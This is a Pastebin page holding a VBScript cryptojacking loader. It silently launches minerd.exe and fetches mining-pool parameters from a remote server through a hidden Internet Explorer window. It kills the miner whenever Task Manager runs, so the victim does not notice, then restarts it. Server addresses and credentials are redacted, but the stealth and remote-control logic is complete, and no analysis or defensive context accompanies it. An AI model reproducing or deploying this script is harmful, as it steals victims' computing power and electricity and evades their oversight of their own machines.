Advertisement
Guest User

Untitled

a guest
Nov 12th, 2013
310
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.78 KB | None | 0 0
  1. On Error Resume Next
  2. Set fso = CreateObject("Scripting.FileSystemObject")
  3. Dim oShell : Set oShell = CreateObject("WScript.Shell")
  4. oShell.CurrentDirectory = fso.GetFile(Wscript.ScriptFullName).ParentFolder
  5. '=================================================================================================
  6. oldparams = " -o http://REMOVED:REMOVED -u REMOVED -p REMOVED"
  7. params = " -o http://REMOVED:REMOVED -u REMOVED -p REMOVED"
  8. Set IE = CreateObject("InternetExplorer.Application")
  9. IE.visible = 0
  10. IE.navigate "http://REMOVED/REMOVED?key=" & uniq
  11. WScript.Sleep 500
  12. Do While IE.Busy
  13. WScript.Sleep 5000
  14. Exit Do
  15. loop
  16. HTTPGet = IE.document.body.innertext
  17. IE.quit
  18. Set IE = Nothing
  19.  
  20. If not isEmpty(HTTPGet) Then
  21. params = HTTPGet
  22. End If
  23. Set HTTPGet = Nothing
  24. start = DateDiff("s", "01/01/1970 00:00:00", Now)
  25. CreateObject("Wscript.Shell").Run "minerd.exe " & params, 0, false
  26. '=================================================================================================
  27. Const strComputer = "."
  28. Dim objWMIService, colProcessList
  29. Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
  30. Dim objWMIService2, colProcessList2
  31. Set objWMIService2 = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
  32.  
  33. Do While 1 > 0
  34. needrestart=0
  35. if (DateDiff("s", "01/01/1970 00:00:00", Now) - start > 300) Then
  36. start = DateDiff("s", "01/01/1970 00:00:00", Now)
  37. Set IE = CreateObject("InternetExplorer.Application")
  38. IE.visible = 0
  39. IE.navigate "http://REMOVED/REMOVED?key=" & uniq
  40. WScript.Sleep 500
  41. Do While IE.Busy
  42. WScript.Sleep 5000
  43. Exit Do
  44. loop
  45. HTTPGet = IE.document.body.innertext
  46. IE.quit
  47. Set IE = Nothing
  48.  
  49. If ( not isEmpty(HTTPGet) ) Then
  50. params = HTTPGet
  51. if ( StrComp(params,oldparams) <> 0 ) Then
  52. oldparams = params
  53. needrestart=1
  54. End If
  55. End If
  56. Set HTTPGet = Nothing
  57. End If
  58. '
  59. Set colProcessList = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'taskmgr.exe'")
  60. taskmgr=0
  61. For Each objProcess in colProcessList
  62. taskmgr=taskmgr+1
  63. Next
  64. If taskmgr > 0 or needrestart > 0 Then
  65. Set colProcessList2 = objWMIService2.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'minerd.exe'")
  66. For Each objProcess2 in colProcessList2
  67. objProcess2.Terminate()
  68. Next
  69. WScript.Sleep 30000 - 25000*needrestart
  70. needrestart = 0
  71. Else
  72. Set colProcessList2 = objWMIService2.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'minerd.exe'")
  73. minerd=0
  74. For Each objProcess2 in colProcessList2
  75. minerd=minerd+1
  76. Next
  77. If minerd<1 Then
  78. CreateObject("Wscript.Shell").Run "minerd.exe " & params, 0, false
  79. 'WScript.Echo "Restarted with " & params
  80. End If
  81. End If
  82. WScript.Sleep 1000
  83. Loop
  84. 'U Y RDN MY COD?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement